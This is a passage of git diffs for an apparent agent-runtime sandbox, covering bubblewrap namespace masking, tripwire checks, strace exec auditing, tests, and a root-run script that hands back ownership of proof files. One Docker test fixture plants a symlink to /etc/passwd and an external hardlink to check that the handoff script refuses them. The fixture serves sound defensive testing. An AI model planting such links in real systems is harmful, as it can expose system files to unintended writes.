if(workerUid!==undefined&&(!auditAcl("set",workerUid,directory,event)||!auditAcl("set",workerUid,directory,log)||!auditAcl("set",workerUid,shared.directory,shared.stub)||!auditAcl("set",workerUid,shared.directory,shared.launcher)))refuse("restriction cannot be enforced"); + const mounts=["--ro-bind",shared.directory,shared.directory,"--ro-bind",directory,directory,"--bind",event,shared.eventTarget,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; + const namespace=(payload:readonly string[])=>[shared.launcher,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; + let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options); + const probeCommand=at>=0?[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]:namespace(["/usr/bin/true"]); + const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); const tracePrefix=strace?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=execve","-o",log,"--"]:[]; - let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options); + if(at>=0){ // The proven status prefix executes before masking. Shell startup hooks or // imported functions would invalidate that exact-code proof. @@ -1676,7 +1785,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon statusIdentity={source:source!,dev:fifo!.dev,ino:fifo!.ino}; argv[2]=argv[2]!.slice(prefix.length); } - argv=[...tracePrefix,bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--",...argv]; + argv=[...tracePrefix,...namespace(argv)]; if(fifo)argv=["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"',"brain-test-status-carrier",source!,...argv]; } const diagnosticUnavailable=()=>{if(auditUnavailable)return;auditUnavailable=true;nativeReceipt({kind:"native-offline-unknown-exec-audit",head:nativeTestHead(),status:"unavailable",diagnostic:true});}; @@ -1684,7 +1793,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon let integrityStage:"stub-identity"|"tripwire-record"="stub-identity"; try{ const now=lstatSync(stub,{bigint:true});if(now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size||now.mtimeNs!==stamp.mtimeNs)throw Object.assign(Error("tripwire changed"),{code:"IDENTITY_CHANGED"}); - integrityStage="tripwire-record";const text=readFileSync(event,"utf8");if(text){if(!text.split("\n").filter(Boolean).every(line=>line===TRIPWIRE_RECORD.trim()))throw Object.assign(Error("tripwire record changed"),{code:"INVALID_RECORD"});report("installed native runtime blocked by tripwire");} + integrityStage="tripwire-record";const text=readFileSync(event,"utf8");if(text){const lines=text.split("\n").filter(Boolean);if(!lines.every(line=>line===TRIPWIRE_RECORD.trim()||line===TRIPWIRE_SETUP_RECORD.trim()))throw Object.assign(Error("tripwire record changed"),{code:"INVALID_RECORD"});report(lines.includes(TRIPWIRE_SETUP_RECORD.trim())?"restriction cannot be enforced":"installed native runtime blocked by tripwire");} }catch(error){report("restriction cannot be enforced",integrityStage,(error as NodeJS.ErrnoException).code);return;} if(!strace){diagnosticUnavailable();return;} // Unknown-launch exec observation is diagnostic-only. A cancelled exec @@ -1705,10 +1814,11 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon // A daemonized tracer preserves the original parent exit and detached-child // lifetime. A final owner-exit read covers detached evidence without retaining // launch polling timers after disposal. - process.once("exit",()=>{inspect(true);cleanup();}); + const finish=()=>{if(complete)return;complete=true;inspect(true);cleanup();tripwireFinalizers.delete(finish);}; + tripwireFinalizers.add(finish); const encoded=JSON.stringify(argv); const launchEnv={...options.env??process.env};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){if(complete)return;complete=true;clearInterval(timer);inspect(true);}}; + const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index 326ad98137..ddc4e5a33c 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -93,7 +93,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); +nativeScriptedService(server.url.origin, { fixtureRoots: [root,brainPath] }); function start(): unknown { return { type: "message_start", message: { id: `msg_${crypto.randomUUID()}`, type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, diff --git a/tests/native-copied-turn-tree.test.ts b/tests/native-copied-turn-tree.test.ts new file mode 100644 index 0000000000..1b7ea6430d --- /dev/null +++ b/tests/native-copied-turn-tree.test.ts @@ -0,0 +1,38 @@ +/** Exact copied-tree roles, using the real acquisition and the real worker plan. */ +import {expect,test} from "bun:test"; +import {mkdtempSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const repo=join(import.meta.dir,".."); +for(const mode of ["valid","parent","swapped","closed","expired-view","foreign-scope","wrong-target","replaced"] as const)test(`copied fixture turn tree: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-copied-role-"); + const code=`import * as fs from "node:fs";import {join} from "node:path"; + import {nativeScriptedService,nativeFixtureCopiedTurnTree,nativeWorkerBoundary} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; + import {createTurnDataTree} from ${JSON.stringify(join(repo,"packages/ui-server/src/brain/turn-data-tree.ts"))}; + import {observeCopiedFixtureTurnTrees} from ${JSON.stringify(join(repo,"packages/ui-server/tests/helpers/fixture-turn-data-tree.ts"))}; + import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; + import {WORKER_DATA_ROOT} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-sandbox.ts"))}; + import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; + const mode=${JSON.stringify(mode)},root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);fs.writeFileSync(join(brain,"loom.md"),"Ithaca");const startupView=createFixtureWorkerStartupView(brain);let live=true; + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); + const restore=mode==="parent"||mode==="swapped"?()=>{}:observeCopiedFixtureTurnTrees(view=>view===startupView&&live); + let tree,foreign,plan;const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + try{ + tree=await createTurnDataTree({brainPath:brain,view:startupView,maskPaths:[],mount:true,update:async()=>{}}); + if(fs.readFileSync(join(tree.mount.root,"loom.md"),"utf8")!=="Ithaca")throw Error("REAL_FACTORY_BYTES_CHANGED"); + if(mode==="parent"||mode==="swapped")nativeFixtureCopiedTurnTree(brain,startupView,mode==="parent"?{root:"/tmp",index:tree.mount.index}:{root:tree.mount.index,index:tree.mount.root},()=>live); + const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin"},launch={brainPath:brain,startupView,command:[runtime],env},argv=workerCommand(launch); + argv.splice(argv.indexOf("--"),0,"--ro-bind",tree.mount.root,mode==="wrong-target"?brain:WORKER_DATA_ROOT,"--ro-bind",tree.mount.index,join(WORKER_DATA_ROOT,".brain-index")); + if(mode==="foreign-scope")foreign=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); + if(mode==="expired-view")live=false; + if(mode==="replaced"){fs.renameSync(tree.mount.root,tree.mount.root+"-held");fs.mkdirSync(tree.mount.root);} + plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});if(mode==="closed"){await tree.close();fs.mkdirSync(tree.mount.root);fs.mkdirSync(tree.mount.index);}plan.beforeLaunch(); + const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");plan.dispose();plan=undefined;console.log("EXACT_COPIED_TREE_ADMITTED"); + }finally{plan?.dispose();await tree?.close();if(tree?.mount)fs.rmSync(tree.mount.root+"-held",{recursive:true,force:true});if(mode==="closed"&&tree?.mount){fs.rmSync(tree.mount.root,{recursive:true,force:true});fs.rmSync(tree.mount.index,{recursive:true,force:true});}restore();foreign?.();leave();server.stop(true);startupView.cleanup();}`; + try{ + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + if(mode==="valid"){expect(exit,err).toBe(0);expect(out,"REAL_COPIED_TREE_ADMITTED").toContain("EXACT_COPIED_TREE_ADMITTED");} + else{expect(exit,"UNTRUSTED_COPIED_TREE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_COPIED_TREE_ADMITTED");expect(err,"EXACT_COPIED_ROLE_CAUSED_REFUSAL").toContain("copied fixture turn tree declaration unavailable");} + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-qualification-paths.test.ts b/tests/native-qualification-paths.test.ts index d7313d2ca9..0607335c50 100644 --- a/tests/native-qualification-paths.test.ts +++ b/tests/native-qualification-paths.test.ts @@ -36,3 +36,14 @@ test("qualification uses its startup tool environment after a fixture removes to expect(err).not.toContain('"reason":"OS namespace setup failed"'); }finally{fs.rmSync(root,{recursive:true,force:true});} }); + +test("namespace pseudo-files are skipped in direct argv and shell candidate scans",async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); + const code=`import {isNativeClaude,nativeWorkerClassification} from ${JSON.stringify(guard)}; + if(isNativeClaude("/usr/bin/printf",["/proc/self/ns/mnt"]))throw Error("PROC_NAMESPACE_IS_NOT_AN_EXECUTABLE_PATH"); + const argv=["/bin/sh","-c",'printf "%s" /proc/self/ns/mnt'];nativeWorkerClassification(argv); + const child=Bun.spawn(argv,{stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + if(exit||out!=="/proc/self/ns/mnt"||err)throw Error("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL");console.log("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL");`; + const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL "+err).toBe(0);expect(out).toContain("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL"); +}); diff --git a/tests/native-rtk-adapter.test.ts b/tests/native-rtk-adapter.test.ts index 256cbea008..7a70a03f99 100644 --- a/tests/native-rtk-adapter.test.ts +++ b/tests/native-rtk-adapter.test.ts @@ -38,7 +38,9 @@ try{ observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map()); refuses("MISSING_PAYLOAD",()=>registerNativeFixtureRtk(worker)); observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map(pids.map(pid=>[pid,start(pid)]))); - refuses("AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT",()=>registerNativeFixtureRtk(worker)); + let ambiguity;try{registerNativeFixtureRtk(worker);}catch(error){ambiguity=error;} + if(ambiguity?.message!=="native fixture RTK payload ambiguous"||ambiguity.cause?.candidateCount!==2||ambiguity.cause.candidates.some(c=>c.depth!==1||c.parentRole!=="launch-root"||!["running","sleeping","tracing-stop"].includes(c.state)))throw Error("RTK_FIXED_CANDIDATE_DIAGNOSTICS_MISSING"); + outcomes.push("AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT"); observeNativeFixtureRtkSpawn(child.pid,launch,["/usr/bin/true"],()=>new Map([[pids[0],start(pids[0])]])); refuses("WRONG_EXECUTABLE",()=>registerNativeFixtureRtk(worker)); observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map([[pids[0],"reused-start"]])); diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index 84215caf68..640abee406 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -58,7 +58,7 @@ for(const spelling of ["target","alias"] as const)test(`unknown computed ${spell }); test("unknown restriction unavailable refuses before returning a launch plan",async()=>{ - const unavailableDiscovery=fixtureDiscovery.replace("const guard=await import",'const rawSpawn=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0].endsWith("/bwrap")?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("namespace unavailable")}:rawSpawn(argv,options);const guard=await import'); + const unavailableDiscovery=fixtureDiscovery.replace("const guard=await import",'const rawSpawn=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0].endsWith("/namespace")?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("namespace unavailable")}:rawSpawn(argv,options);const guard=await import'); const code=unavailableDiscovery+` const bin=root+"/bin";fs.mkdirSync(bin);fs.symlinkSync("/usr/bin/false",bin+"/bwrap");fs.symlinkSync(Bun.which("strace"),bin+"/strace"); const which=Bun.which;Bun.which=(name,options)=>name==="bwrap"?bin+"/bwrap":which(name,options); @@ -193,3 +193,43 @@ test("a completed unknown launch releases its diagnostic polling timer",async()= const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"UNKNOWN_POLLING_TIMER_RELEASED "+err).toBe(0);expect(out).toContain("UNKNOWN_POLLING_TIMER_RELEASED"); }); + +test("completed unknown launches remove their private directories and reuse one private stub",async()=>{ + const discovery=fixtureDiscovery.replace('const guard=await import','let stubBuilds=0;const compile=Bun.spawnSync;Bun.spawnSync=(argv,options)=>{if(argv[0]==="cc"&&argv.at(-1).endsWith("/tripwire"))stubBuilds++;return compile(argv,options);};const guard=await import'); + const code=discovery+` + const created=[],stubs=new Set();let shared; + for(let i=0;i<4;i++){ + const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); + const directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),stub=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+\\/tripwire$/.test(path)); + if(!directory||!stub)throw Error("TRIPWIRE_EVIDENCE_PATHS_REQUIRED");shared=stub.slice(0,stub.lastIndexOf("/")); + if((fs.statSync(shared).mode&0o777)!==0o700)throw Error("SHARED_STUB_IS_OWNER_ONLY"); + const stamp=fs.statSync(stub);stubs.add(stamp.dev+":"+stamp.ino);created.push(directory); + try{const c=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:"ignore"});const exit=await new Promise(resolve=>c.once("close",resolve));if(exit)throw Error("HARMLESS_LAUNCH_REQUIRED");}finally{plan.dispose();} + if(fs.existsSync(directory))throw Error("TRIPWIRE_DIRECTORY_REMOVED_AT_DISPOSE"); + } + if(stubBuilds!==1||stubs.size!==1)throw Error("TRIPWIRE_STUB_BUILT_ONCE_PER_PROCESS"); + fs.rmSync(root,{recursive:true,force:true});console.log(JSON.stringify({shared,launches:created.length}));guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"TRIPWIRE_DIRECTORY_REMOVED_AT_DISPOSE "+err).toBe(0); + const result=JSON.parse(out);expect(result.launches).toBe(4);expect((await import("node:fs")).existsSync(result.shared),"SHARED_STUB_REMOVED_AT_PROCESS_EXIT").toBe(false); +}); + +for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell keeps its caller PID and closes stdout on ${signal}`,async()=>{ + const code=fixtureDiscovery+` + const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'printf "%s\\n" "$$"; IFS= read -r go'],{env:process.env}); + try{ + const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["pipe","pipe","pipe"]});let out="",err=""; + const ready=new Promise(resolve=>child.stdout.on("data",chunk=>{out+=chunk;if(out.includes("\\n"))resolve();}));child.stderr.on("data",chunk=>err+=chunk); + const closed=new Promise(resolve=>child.once("close",(code,signal)=>resolve({code,signal}))); + await ready;if(Number(out.trim())!==child.pid)throw Error("CALLER_PID_IS_ITS_SHELL_PAYLOAD"); + if(fs.realpathSync("/proc/"+child.pid+"/exe")!==fs.realpathSync("/bin/sh"))throw Error("CALLER_PROC_EXE_IS_ITS_PAYLOAD"); + if(fs.readlinkSync("/proc/"+child.pid+"/ns/mnt")===fs.readlinkSync("/proc/self/ns/mnt"))throw Error("CALLER_PROC_MNT_IS_THE_MASKED_PAYLOAD_VIEW"); + const marker=root+"/caller-root";fs.writeFileSync(marker,"Ithaca");if(fs.readFileSync("/proc/"+child.pid+"/root"+marker,"utf8")!=="Ithaca")throw Error("CALLER_PROC_ROOT_IS_ITS_PAYLOAD_VIEW"); + child.kill(${JSON.stringify(signal)});const result=await closed; + if(result.signal!==${JSON.stringify(signal)})throw Error("PAYLOAD_SIGNAL_BEHAVIOR_MATCHES_MAIN "+JSON.stringify(result)); + try{fs.statSync("/proc/"+child.pid);throw Error("KILLED_SHELL_MUST_BE_GONE");}catch(error){if(error.code!=="ENOENT")throw error;} + console.log("CALLER_PID_AND_EOF_MATCH_MAIN"); + }finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"CALLER_PID_AND_EOF_MATCH_MAIN "+err).toBe(0);expect(out).toContain("CALLER_PID_AND_EOF_MATCH_MAIN"); +}); From 2d28db3a2a25bc1a5ea61020ef6344e47bbbce45 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 09:22:12 +0000 Subject: [PATCH 099/187] fix(test): retain private proof files after container exit --- scripts/native-proof/handoff-proof.py | 67 ++++++++++++++++++++++ scripts/native-proof/handoff-proof.test.ts | 22 +++++++ scripts/prove-native-host.ts | 37 +++++++++++- 3 files changed, 124 insertions(+), 2 deletions(-) create mode 100644 scripts/native-proof/handoff-proof.py create mode 100644 scripts/native-proof/handoff-proof.test.ts diff --git a/scripts/native-proof/handoff-proof.py b/scripts/native-proof/handoff-proof.py new file mode 100644 index 0000000000..0716cb04fb --- /dev/null +++ b/scripts/native-proof/handoff-proof.py @@ -0,0 +1,67 @@ +"""Post-container-exit ownership handoff of one inode-pinned proof directory. + +No chmod, symlink traversal, special files, or external hardlinks. The caller +must await the proof container before invoking this root-only artifact writer. +""" +import os +import stat +import sys + + +def handoff(path, device, inode): + flags = os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC + root = os.open(path, flags | os.O_DIRECTORY) + opened = [] + try: + identity = os.fstat(root) + if (identity.st_dev, identity.st_ino) != (device, inode): + raise ValueError("Proof directory identity changed") + uid, gid = identity.st_uid, identity.st_gid + opened.append((root, identity)) + pending = [root] + links = {} + while pending: + directory = pending.pop() + for name in os.listdir(directory): + if len(opened) >= 200000: + raise ValueError("Proof directory exceeds handoff bound") + info = os.stat(name, dir_fd=directory, follow_symlinks=False) + if not (stat.S_ISREG(info.st_mode) or stat.S_ISDIR(info.st_mode)): + raise ValueError("Proof handoff refuses links and special files") + child = os.open(name, flags | (os.O_DIRECTORY if stat.S_ISDIR(info.st_mode) else os.O_NONBLOCK), dir_fd=directory) + actual = os.fstat(child) + opened.append((child, actual)) + if (actual.st_dev, actual.st_ino, actual.st_mode) != (info.st_dev, info.st_ino, info.st_mode): + raise ValueError("Proof entry identity changed") + if actual.st_dev != identity.st_dev: + raise ValueError("Proof handoff refuses external mounts") + if stat.S_ISDIR(actual.st_mode): + pending.append(child) + else: + key = (actual.st_dev, actual.st_ino) + links[key] = links.get(key, 0) + 1 + # Validate the complete tree before changing any ownership. + for fd, before in opened: + now = os.fstat(fd) + if (now.st_dev, now.st_ino, now.st_mode, now.st_nlink, now.st_size) != (before.st_dev, before.st_ino, before.st_mode, before.st_nlink, before.st_size): + raise ValueError("Proof entry changed during handoff") + if stat.S_ISREG(now.st_mode) and now.st_nlink != links[(now.st_dev, now.st_ino)]: + raise ValueError("Proof handoff refuses external hardlinks") + if now.st_mode & (stat.S_ISUID | stat.S_ISGID): + raise ValueError("Proof handoff refuses privileged mode bits") + for fd, before in reversed(opened): + os.fchown(fd, uid, gid) + after = os.fstat(fd) + if (after.st_uid, after.st_gid, stat.S_IMODE(after.st_mode)) != (uid, gid, stat.S_IMODE(before.st_mode)): + raise ValueError("Proof ownership handoff failed") + finally: + if not opened: + os.close(root) + for fd, _ in reversed(opened): + os.close(fd) + + +if __name__ == "__main__": + if len(sys.argv) != 4: + raise ValueError("Expected exact proof root and pinned identity") + handoff(sys.argv[1], *map(int, sys.argv[2:])) diff --git a/scripts/native-proof/handoff-proof.test.ts b/scripts/native-proof/handoff-proof.test.ts new file mode 100644 index 0000000000..06ada2193e --- /dev/null +++ b/scripts/native-proof/handoff-proof.test.ts @@ -0,0 +1,22 @@ +/** Post-exit artifact retention, using the real root writer and an app-owned 0600 file. */ +import {expect,test} from "bun:test"; +import {chmodSync,lstatSync,mkdtempSync,readFileSync,rmSync,writeFileSync,mkdirSync} from "node:fs"; +import {join} from "node:path"; +import {nativeHostHandoffArgs,NATIVE_PROOF_IMAGE} from "../prove-native-host"; +import {watchdogMs} from "../test-deadlines"; +for(const mode of ["private-file","symlink","external-hardlink"] as const)test(`post-exit proof ownership handoff: ${mode}`,()=>{ + const root=mkdtempSync("/tmp/odysseus-proof-handoff-"),artifact=join(root,"proof");chmodSync(root,0o755);mkdirSync(artifact,0o755);mkdirSync(join(root,"scripts/native-proof"),{recursive:true});writeFileSync(join(root,"scripts/native-proof/handoff-proof.py"),readFileSync(join(import.meta.dir,"handoff-proof.py"))); + try{ + const setup=`import os\np='/proof/private'\nopen(p,'w').write('Ithaca\\n')\nos.chmod(p,0o600)\nos.chown(p,1000,1000)\n${mode==="symlink"?"os.symlink('/etc/passwd','/proof/planted')":mode==="external-hardlink"?"open('/fixture/outside','w').write('outside'); os.link('/fixture/outside','/fixture/proof/planted')":""}`; + const writer=Bun.spawnSync(["docker","run","--rm","--network=none","--mount",`type=bind,source=${artifact},target=/proof`,"--mount",`type=bind,source=${root},target=/fixture`,"--entrypoint=python3",NATIVE_PROOF_IMAGE,"-c",setup],{stdout:"pipe",stderr:"pipe"});expect(writer.exitCode,writer.stderr.toString()).toBe(0); + const info=lstatSync(artifact,{bigint:true}),pin={dev:info.dev,ino:info.ino,uid:Number(info.uid),gid:Number(info.gid)}; + const result=Bun.spawnSync(nativeHostHandoffArgs(root,artifact,pin),{stdout:"pipe",stderr:"pipe"}); + if(mode==="private-file"){ + expect(result.exitCode,result.stderr.toString()).toBe(0);const file=lstatSync(join(artifact,"private"));expect(file.uid,"PRIVATE_ARTIFACT_RETURNED_TO_RUNNER").toBe(pin.uid);expect(file.mode&0o777,"PRIVATE_MODE_UNCHANGED").toBe(0o600); + const archive=Bun.spawnSync(["tar","-cf",join(root,"proof.tar"),"-C",artifact,"."],{stdout:"pipe",stderr:"pipe"});expect(archive.exitCode,archive.stderr.toString()).toBe(0); + const bytes=Bun.spawnSync(["tar","-xOf",join(root,"proof.tar"),"./private"],{stdout:"pipe",stderr:"pipe"});expect(bytes.stdout.toString(),"APP_PRIVATE_FILE_REACHED_ARCHIVE").toBe("Ithaca\n"); + }else{expect(result.exitCode,"UNTRUSTED_PROOF_ENTRY_REFUSED").not.toBe(0);expect(result.stderr.toString()).toContain(mode==="symlink"?"refuses links":"external hardlinks");} + }finally{ + Bun.spawnSync(["docker","run","--rm","--network=none","--mount",`type=bind,source=${artifact},target=/proof`,"--entrypoint=python3",NATIVE_PROOF_IMAGE,"-c","import os; os.chmod('/proof',0o755); [os.unlink('/proof/'+n) for n in os.listdir('/proof')]"] ,{stdout:"ignore",stderr:"ignore"});rmSync(root,{recursive:true,force:true}); + } +},watchdogMs(30000)); diff --git a/scripts/prove-native-host.ts b/scripts/prove-native-host.ts index 3b21bd0f18..bb9cd627c1 100644 --- a/scripts/prove-native-host.ts +++ b/scripts/prove-native-host.ts @@ -1,5 +1,5 @@ /** Required offline Btrfs/Unix-manager hosted proof; missing prerequisites fail. */ -import { chmodSync, mkdtempSync, mkdirSync, readFileSync, readdirSync, realpathSync, writeFileSync } from "node:fs"; +import { chmodSync, lstatSync, mkdtempSync, mkdirSync, readFileSync, readdirSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { basename, dirname, join, resolve } from "node:path"; import { verifyIndexReleaseReproduction } from "./native-proof/verify-index-release-repro.js"; import { EXPECTED_FAILURE_PREFIX, runExpectedFailureControl } from "./expected-failure-log.js"; @@ -29,6 +29,30 @@ export function nativeHostDockerArgs(root: string, artifact: string, uid: string "--workdir=/repo", "--entrypoint=/bin/sh", NATIVE_PROOF_IMAGE, "/repo/scripts/native-proof/stable-run.sh", basename(artifact), "host", "python3", "/repo/scripts/native-proof/fixture.py", backend, uid]; } +/** Root artifact writer; invoked only after the proof container has exited. */ +export function nativeHostHandoffArgs(root:string,artifact:string,pin:{dev:bigint;ino:bigint}):string[]{ + return ["docker","run","--rm","--pull=never","--network=none","--cap-drop=ALL","--cap-add=CHOWN","--cap-add=DAC_OVERRIDE","--security-opt=no-new-privileges","--mount",`type=bind,source=${artifact},target=/proof`,"--mount",`type=bind,source=${join(root,"scripts/native-proof/handoff-proof.py")},target=/handoff.py,readonly`,"--entrypoint=python3",NATIVE_PROOF_IMAGE,"/handoff.py","/proof",String(pin.dev),String(pin.ino)]; +} + +function finishNativeHostArtifacts(root:string,artifact:string,pin:{dev:bigint;ino:bigint},control:string):void { + // The Docker client exiting alone does not prove its container exited. + // The ID file is outside the payload's proof bind in a private host root. + let id:string|undefined;try{id=readFileSync(join(control,"id"),"utf8").trim();}catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} + if(id){ + if(!/^[a-f0-9]{64}$/.test(id))throw Error("Native proof container identity unavailable"); + const listed=Bun.spawnSync(["docker","ps","-aq","--no-trunc","--filter",`id=${id}`],{stdout:"pipe",stderr:"pipe"}); + if(listed.exitCode!==0)throw Error("Native proof container exit unavailable"); + if(listed.stdout.toString().trim()){ + const state=Bun.spawnSync(["docker","inspect","--format","{{json .State.Running}}",id],{stdout:"pipe",stderr:"pipe"}); + if(state.exitCode!==0||state.stdout.toString().trim()!=="false")throw Error("Native proof container has not exited"); + } + } + rmSync(control,{recursive:true,force:true}); + // No payload remains: preserve private modes while returning artifact ownership. + const handoff=Bun.spawnSync(nativeHostHandoffArgs(root,artifact,pin),{stdout:"inherit",stderr:"inherit"}); + if(handoff.exitCode!==0)throw Error("Native proof artifact ownership handoff failed"); +} + /** Shared fixture protocol boundary, also callable without launching Docker. */ export function requireNativeHostCleanup(cleanup: unknown): void { if (!ownedCleanupComplete(cleanup)) @@ -59,6 +83,9 @@ if (import.meta.main) { const security = Bun.spawnSync(["docker", "info", "--format", "{{json .SecurityOptions}}"], { stdout: "pipe", stderr: "pipe" }); if (security.exitCode !== 0) throw Error("Cannot inspect Docker runtime security prerequisites."); const apparmor = (JSON.parse(new TextDecoder().decode(security.stdout)) as string[]).some(value => value.startsWith("name=apparmor")); + // Exercise the post-exit private-file writer where the pinned proof image exists. + const handoffProof=Bun.spawn([process.execPath,"run","test","scripts/native-proof/handoff-proof.test.ts"],{cwd:root,stdout:"inherit",stderr:"inherit"}); + if(await handoffProof.exited!==0)throw Error("Native proof artifact 